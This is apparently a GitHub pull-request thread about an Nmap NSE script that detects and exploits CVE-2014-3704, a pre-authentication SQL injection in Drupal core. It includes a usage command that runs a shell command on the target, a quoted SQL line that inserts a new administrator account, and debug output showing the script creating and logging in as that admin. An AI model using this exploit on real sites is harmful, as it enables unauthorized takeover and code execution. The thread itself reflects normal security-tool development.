Add NSE script for detecting & exploiting CVE-2014-3704

[mzet-]

Overview

Following script detects & exploits CVE-2014-3704 vulnerability (pre Auth SQL Injection) in Drupal core.

Running the script

Running the script:
nmap -P0 -p80 -n --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",
http-vuln-cve2014-8877.uri="/drupal" 192.168.1.1

Where 'cmd' parameter is shell command for execution and 'uri' is path to your Drupal installation.

[jkryanchou]

👍

[dmiller-nmap]

This looks cool! I'll be doing a bit more testing, but my first question is regarding the password hash: it looks like you always generate a hash of the empty string. Is there a reason for this? If it has to be empty/blank, then it would be better to just include the hash literal (constant salt) to avoid doing all the extra computation. On the other hand, maybe we should expose the password to the user and let them set whatever password they want. Either way, the choice should be documented.

Excited to get this merged soon!

[mzet-]

Hi,

Hash is not blank, password is chosen at random and then hash is generated. Please see the lines 181 & 182 in do_sql_query function:

passwd = stdnse.generate_random_string(10)
passHash = gen_passwd_hash(passwd)

Then passHash is used to construct sql query:

sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")

[dmiller-nmap]

@mzet- I opened a pull request on your branch for some changes that I would like to make before committing this. If you can make sure I did not break anything, I'll be able to get this merged right away. Thanks!

[mzet-]

Daniel,

Thanks for cleanups. I also did some additional cleanups and testing.

[mzet-]

@dmiller-nmap

Script is ready for merging.

[mzet-]

@dmiller-nmap

Is there anything in the script that prevents you from accepting this PR?

[dmiller-nmap]

@mzet- I've been involved in the OS X installer issue for a while, but getting back to working through PRs. I'll make this my first priority, thanks for the reminder.

[phackt]

Hello guys, is this script running for you? I installed a vulnerable version of Drupal (7.2), i succeeded in exploiting it thanks to this vuln but nmap is not reporting any vulnerable drupal version:

nmap -p 80 --script http-vuln-cve2014-3704 127.0.0.1

just displays that the port 80 is open. Drupal is at the webroot, no script args needed.
To be honest i did not investigate yet into the script.

Thanks,

[mzet-]

Hi, Could you please run it with -d switch and show us the output? Thanks. Regards, mzet

…

On Thu, Jun 1, 2017 at 10:37 PM, phackt ***@***.***> wrote: Hello guys, is this script running for you? I installed a vulnerable version of Drupal (7.2), i succeeded in exploiting it thanks to this vuln but nmap is not reporting any vulnerable drupal version: nmap -p 80 --script http-vuln-cve2014-3704 127.0.0.1 just displays that the port 80 is open. Drupal is at the webroot, no script args needed. To be honest i did not investigate yet into the script. Thanks, — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#226 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AEkEw4x2U8yCN-71BkZo3uGz28DHze4Pks5r_yD6gaJpZM4GO_lW> .

[phackt]

@mzet- yes of course:

$ nmap -d -p 80 --script http-vuln-cve2014-3704 127.0.0.1

Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-06-05 16:25 CEST
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Using Lua 5.3.
NSE: Arguments from CLI: 
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Initiating Ping Scan at 16:25
Scanning 127.0.0.1 [2 ports]
Completed Ping Scan at 16:25, 0.00s elapsed (1 total hosts)
Overall sending rates: 10928.96 packets / s.
mass_rdns: Using DNS server 209.222.18.222
mass_rdns: Using DNS server 209.222.18.218
mass_rdns: Using DNS server fe80::237:b7ff:fe7e:cd74%wlan0
mass_rdns: Using DNS server 192.168.1.1
Initiating Connect Scan at 16:25
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 80/tcp on 127.0.0.1
Completed Connect Scan at 16:25, 0.00s elapsed (1 total ports)
Overall sending rates: 9523.81 packets / s.
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
NSE: Starting http-vuln-cve2014-3704 against 127.0.0.1:80.
NSE: [http-vuln-cve2014-3704 127.0.0.1:80] adding admin user (username: 'QOTQZJWFUD'; passwd: 'ENOROURUBJ')
NSE: [http-vuln-cve2014-3704 127.0.0.1:80] logging in as admin user (username: 'QOTQZJWFUD'; passwd: 'ENOROURUBJ')
NSE: Finished http-vuln-cve2014-3704 against 127.0.0.1:80.
Completed NSE at 16:25, 0.03s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up, received syn-ack (0.00012s latency).
Scanned at 2017-06-05 16:25:45 CEST for 0s

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
Final times for host: srtt: 115 rttvar: 3769  to: 100000

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Read from /home/phackt/Documents/repo/nmap: nmap-payloads nmap-services.
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

Regards,